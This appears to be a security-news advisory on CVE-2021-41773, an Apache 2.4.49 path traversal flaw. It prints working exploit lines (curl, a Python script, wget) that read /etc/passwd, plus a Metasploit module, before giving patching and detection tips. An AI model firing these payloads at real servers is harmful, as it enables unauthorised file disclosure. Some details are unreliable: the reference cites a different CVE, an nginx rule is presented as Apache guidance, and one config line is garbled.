Apache HTTP Server, Path Traversal Vulnerability, CVE-2021-41773 (Critical)

How CVE-2021-41773 Works

CVE-2021-41773 is a path traversal vulnerability in Apache HTTP Server 2.4.49. The flaw arises due to improper validation of URLs in the `ap_normalize_path()` function, allowing attackers to bypass security restrictions. When `mod_proxy` or `mod_cgi` are enabled, an attacker can craft a malicious URL containing `../` sequences to access files outside the document root. If the server is misconfigured, this could lead to remote code execution (RCE) by exposing sensitive files or executing arbitrary scripts. The vulnerability is exploitable when the attacker sends a specially crafted HTTP request, manipulating path normalization to traverse directories.

DailyCVE Form:

Platform: Apache HTTP Server
Version: 2.4.49
Vulnerability: Path Traversal
Severity: Critical
Date: 2021-10-05

What Undercode Say:

Exploit Analysis:

1. Exploit Command (Curl):

curl -v "http://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"

2. Python Exploit Script:

import requests
target = "http://vulnerable-server.com/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
response = requests.get(target)
print(response.text)

3. Metasploit Module:

use auxiliary/scanner/http/apache_normalize_path
set RHOSTS target.com
run

Protection Measures:

1. Patch Immediately:

sudo apt update && sudo apt upgrade apache2

2. Disable Affected Modules:

LoadModule cgi_module modules/mod_cgi.so Comment out in httpd.conf

3. Web Application Firewall (WAF) Rules:

location / {
if ($request_uri ~ "../") { return 403; }
}

4. Log Monitoring:

tail -f /var/log/apache2/access.log | grep "../"

5. File Permissions Hardening:

chmod -R 750 /var/www/html

Detection Tools:

  • Nmap Script:
    nmap --script http-vuln-cve2021-41773 -p 80 target.com
    
  • Manual Testing:
    wget "http://target.com/icons/.%2e/%2e%2e/%2e%2e/etc/passwd"
    

Impact: Remote file disclosure, potential RCE.

Mitigation: Upgrade to Apache 2.4.50+.

References:

Reported By: https://www.cve.org/CVERecord?id=CVE-2025-22457
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top